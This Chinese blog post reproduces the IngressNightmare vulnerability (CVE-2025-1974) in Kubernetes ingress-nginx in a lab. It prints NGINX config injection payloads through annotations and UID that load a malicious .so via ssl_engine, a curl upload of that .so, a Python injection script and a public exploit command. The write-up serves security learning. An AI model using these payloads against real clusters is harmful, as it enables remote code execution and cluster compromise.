Ingress-Nginx Nightmare 复现~

什么是 Ingress-Nginx?

ingress-nginx is an Ingress controller for Kubernetes using NGINX as a reverse proxy and load balancer.

Ingress 可以用来暴露服务给外部用户,用于作为访问集群的入口。Ingress-nginx 是一个基于 NGINX 的 Ingress controller ,使用 NGINX 作为反向代理和负载均衡器。

由于复现过程中发现我的本地环境里 pidfd 比较随机,很难使用 exp 跑通,盲打很折磨,所以这里主要记录非盲打的复现

漏洞描述

CVE-2025-1974

由于 ingress-nginx-controller-admission 无需认证即可通过集群中的任意 pod 网络访问,攻击者可以通过向 ingress-nginx 发送特制的 AdmissionReview 请求,远程注入任意的 NGINX 配置,ingress-nginx 在其后会对 nginx 配置进行测试,从而触发埋藏的恶意指令,导致 Ingress-nginx 中的任意代码执行。

配置注入提供了三种方式 CVE-2025-24514 - auth-url injectionCVE-2025-1097 - auth-tls-match-cn injectionCVE-2025-1098 – mirror UID injection,原理类似于模板注入,当 Ingress Nginx Controller 处理传入的 AdmissionReview 请求时,它会根据模板文件和提供的 Ingress 对象生成一个临时 NGINX 配置文件。

auth-url

1
2
3
"annnotations": {   
 "nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\n\nssl_engine foobar;\n\n"
}

auth-tls-match-cn

1
2
3
4
"annotations": {   
 "nginx.ingress.kubernetes.io/auth-tls-match-cn": "CN=abc #(\n){}\n }}\nssl_engine foobar;\n#",  
 "nginx.ingress.kubernetes.io/auth-tls-secret": "kube-system/cillium-tls"
}

mirror UID

1
2
3
4
5
6
"metadata": {
"uid": "InjectTest#;\n\n}\n}\n}\nssl_engine foobar",
"annotations": {
"nginx.ingress.kubernetes.io/mirror-target": "fake-mirror-target"
}
}

ssl_engine 指令本来是用于指定一个 ssl 加速引擎,可能是一个 so 文件,这里用来加载我们的恶意 so 文件

有关上传 so 文件的方式,在 nginx 接收到大请求(>8KB)时,会把请求保存到一个临时文件,可以利用这一点上传恶意的 so 文件

在文件被删除前进行模板注入完成 rce

影响版本

  • ingress-nginx≤ 1.11.4
  • ingress-nginx=1.12.0

利用过程

  • 向 nginx 发送请求上传恶意 so 文件
  • 向 admission 发送 AdmissionReview 请求在配置中注入 ssl_engine 加载 so 文件 rce

困难点

  • 上传 so 文件时需要维持长时间的 http 连接保证 fd 开放
  • 因为创建请求的进程和处理 AdmissionReview 的进程不是同一个所以不能使用 /proc/self 需要爆破 pidfd

漏洞复现

环境搭建

Minikube

用 Minikube+ 端口转发搭建一个简易的复现环境

1
minikube start

部署 ingress-nginx

1
2
3
4
5
6
7
8
9
wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.11.2/deploy/static/provider/cloud/deploy.yaml

#下面两条命令用于换源
sed -i 's#registry.k8s.io/ingress-nginx/controller:v1.11.2@sha256:d5f8217feeac4887cb1ed21f27c2674e58be06bd8f5184cacea2a69abaf78dce#registry.aliyuncs.com/google_containers/nginx-ingress-controller:v1.11.2#g' deploy.yaml

sed -i 's#registry.k8s.io/ingress-nginx/kube-webhook-certgen:v1.4.3@sha256:a320a50cc91bd15fd2d6fa6de58bd98c1bd64b9a6f926ce23a600d87043455a3#registry.aliyuncs.com/google_containers/kube-webhook-certgen:v1.4.3#g' deploy.yaml

# 部署
kubectl apply -f deploy.yaml

如果想便于本地测试可以配置一下端口转发

1
2
3
kubectl port-forward -n ingress-nginx ingress-nginx-controller-dbcb5c6f7-dz2rj 8443:8443

kubectl port-forward -n ingress-nginx svc/ingress-nginx-controller 8080:80

k3s

用 k3s+ 一个 Python Pod 模拟失陷 Pod 构建一个较为真实的复现环境

安装 k3s

1
curl -sfL https://get.k3s.io | sh -

部署 ingress-nginx

1
2
3
4
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.11.2/deploy/static/provider/cloud/deploy.yaml

# else use helm
helm upgrade --install ingress-nginx ingress-nginx --repo https://kubernetes.github.io/ingress-nginx --namespace ingress-nginx --create-namespace --version 4.11.4 --kubeconfig /etc/rancher/k3s/k3s.yaml

py-pod.yaml

1
2
3
4
5
6
7
8
9
apiVersion: v1
kind: Pod
metadata:
name: py-pod
spec:
containers:
- name: py
image: python:3.13.2
command: ["bash", "-c", "while true; do sleep 3600; done"]

部署 Python Pod

1
kubectl apply -f py-pod.yaml

编译 so 文件

使用 yoshino-s/CVE-2025-1974

接下来我们还要用到这个项目中的 req.json

非盲打复现

修改配置文件,让 ingress-nginx pod 的运行权限为 root 方便我们查看 fd

1
kubectl edit deploy ingress-nginx-controller -n ingress-nginx

修改 spec.template.spec.containers.args.securityContext 处配置,修改后的 securityContext 配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
securityContext:
allowPrivilegeEscalation: true
capabilities:
add:
- NET_BIND_SERVICE
drop:
- ALL
privileged: true
readOnlyRootFilesystem: false
runAsNonRoot: false
runAsUser: 0
seccompProfile:
type: RuntimeDefault

发送大请求上传 so 文件

1
curl -X POST http://ingress-nginx-controller.ingress-nginx.svc/fake/addr --data-binary @shell.so -H "Content-Length: 165760" -H "Content-Type: application/octet-stream" -H "Connection: keep-alive"

查看缓存请求文件的 fd

1
2
3
kubectl exec -it ingress-nginx-controller-7955d94d58-n54f5  -n ingress-nginx -- /bin/bash

ls /proc/*/fd/* -al | grep client

发送请求进行配置注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import json
import requests

admission_url = 'https://ingress-nginx-controller-admission.ingress-nginx.svc:443/networking/v1/ingresses'

with open("req.json", "r") as f:
data = json.load(f)


def load():
fdpath = '/proc/126/fd/33'
data["request"]["object"]["metadata"]["annotations"][
"nginx.ingress.kubernetes.io/auth-url"] = "http://example.com/#;}}}\n\nssl_engine %s;\n\n" % (fdpath,)
try:
res = requests.post(admission_url, json=data, verify=False)
print("[+]testing" + " " + fdpath)
print(res.text)
except Exception as e:
print("[!]" + " error parsing response")
print(e)

load()

然后就可以查收你的 shell 了☝️🤓

EXP 盲打

推荐使用 Esonhugh/ingressNightmare-CVE-2025-1974-exps: IngressNightmare POC.

1
2
3
4
#!/bin/sh
export INGRESS=https://ingress-nginx-controller-admission.ingress-nginx.svc:443/networking/v1/ingresses
export UPLOADER=http://ingress-nginx-controller.ingress-nginx.svc/fake/addr
./ingressnightmare -m c -c 'date >> /tmp/pwn; echo hi >> /tmp/pwn' -i ${INGRESS} -u ${UPLOADER}

结语

协会分享会上分享了一下复现过程,顺便水一篇博客记录一下😋。

在复现学习过程中阅读了挺多网上的文章,大部分或多或少感觉都有点问题,有些根本不可能跑得通的 exp 也往上放😓,当然也有对我帮助很大的,也很感谢 eson 师傅对我问题的一些解答。

关于这个洞,我自己在复现中观察到本地环境的 pid 和 fd 还是比较随机的,盲打还是很折磨的,各种奇怪的报错也很多,我用 exp 跑差不多就靠运气跑成过一次,所以本篇主要目的还是分享一下怎么掌控整个过程的信息帮助复现,学习漏洞利用的流程🤓。

参考链接: